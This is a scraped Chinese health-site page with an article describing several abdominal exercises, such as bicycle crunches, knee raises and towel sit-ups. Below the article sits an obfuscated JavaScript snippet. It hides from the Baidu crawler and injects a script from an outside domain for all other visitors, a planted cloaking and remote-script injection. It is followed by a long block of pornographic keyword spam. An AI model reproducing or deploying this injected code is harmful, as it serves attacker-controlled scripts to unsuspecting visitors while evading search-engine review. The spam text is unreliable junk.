當前位置:首頁 > 健康 > 運動健身 > 正文

腹部有氧運動的方法

2017-04-14 16:07:02  來源:360常識網   熱度:
導語:有的時候身體的某些部位也需要休息,人累了渴了還知道休息喝水呢,更別說是身體的某些部位了,東西吃多啦胃還會反抗呢腹部有氧運動,腹部有

有的時候身體的某些部位也需要休息,人累了渴了還知道休息喝水呢,更別說是身體的某些部位了,東西吃多啦胃還會反抗呢腹部有氧運動,腹部有時也需要有氧運動的。腹部有氧,運動它可以促進血液的流通,促進身體的健康。下面我們來了解下:

蹬車運動:

躺在地板上假裝蹬一輛自行車。正確的動作是,背部下方壓緊地板,雙手置于頭后。將膝蓋提到45度角,雙腳做蹬車動作,左腳踝要碰到右膝,接著用右腳踝去碰左膝。

提膝運動:

找一把牢固的椅子,坐在椅子的邊緣,膝蓋彎曲,雙腳平放于地面。收緊腹部,身體微微后傾,將雙腳抬離地面幾厘米。保持穩定的動作,將膝蓋拉向胸部,同時上身前曲。然后將雙腳恢復原位,不斷重復。

舉球運動:

仰臥,手里拿一個網球,抬起雙手沖著天花板,雙腿伸直并攏,雙腳上鉤。收緊腹部及臀部肌肉,將雙肩和頭部抬離地面幾厘米。確定球是始終朝上沖向房頂而不是向前。

手臂仰臥起坐:

躺下,曲膝,雙腳并攏勾住床頭。用一條毛巾從后側繞過頸部,雙手各拉一端。收縮腹部,肩部抬起,后背慢慢卷起,再緩緩后仰,幾乎挨到地板時繼續起身,不斷重復。

腹部平坦運動:

1、身體平躺在地面,雙手扶于耳際,但不要抱頭。雙腳抬起,膝部彎曲,大腿與腹部的角度要小于90度。

2、腹部用力將上身提起,速度要緩慢,反復15至20次。頸部避免用力,不要用手壓迫頭部。

腰部強化運動:

1、身體平躺在地面,雙手平放在兩側,雙腳提起,如同第一招的預備式。

2、腰部用力帶動骨盆移向左側,回復原位后,再移向右側。

有時候腹部還是需要有氧運動的,這樣既保證了身體的健康,還可以對于女性還可以起到減肥的作用。腹部有氧運動對身體起到了非常的大作用,對自己的身體起到啦一定的益處。腹部的有氧運動對我們的身體也起到了促進的作用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品亚洲w码日韩中文| 国产精品午睡沙发系列| 久久久国产精品无码一区二区三区| 亚洲AV永久青草无码精品| 一本色道久久88精品综合| 久久久这里有精品中文字幕| 日韩精品视频在线观看免费| 国产精品久久现线拍久青草| 国产自产拍精品视频免费看| 精品国产区一区二区三区在线观看| 无码人妻精品一区二区三区99性 | 精品久久久噜噜噜久久久| 久热综合在线亚洲精品| 久久91精品国产91久久户| 伊人精品视频一区二区三区| 99久久成人国产精品免费| 在线精品动漫一区二区无广告| 国产三级国产精品国产普男人| 亚洲成网777777国产精品| 精品少妇人妻AV无码专区不卡| 久久AV无码精品人妻出轨| 日产精品卡2卡三卡乱码网址| 国产精品自在在线午夜出白浆| 国内精品久久久久影视| 国产69久久精品成人看| 一本之道av不卡精品| 精品成人av一区二区三区| 久久久久久无码国产精品中文字幕 | 狼色精品人妻在线视频免费| 亚洲国产主播精品极品网红| 久久久精品久久久久久| 亚洲精品色午夜无码专区日韩| 国产成人精品无码免费看| 人妻少妇精品无码专区二区 | 成人午夜精品视频在线观看| 午夜精品久久久久久久无码| 精品一区二区三区色花堂| 亚洲精品无码永久中文字幕| 亚洲av成人无码久久精品| 精品福利视频一区二区三区| 国产精品免费观看久久|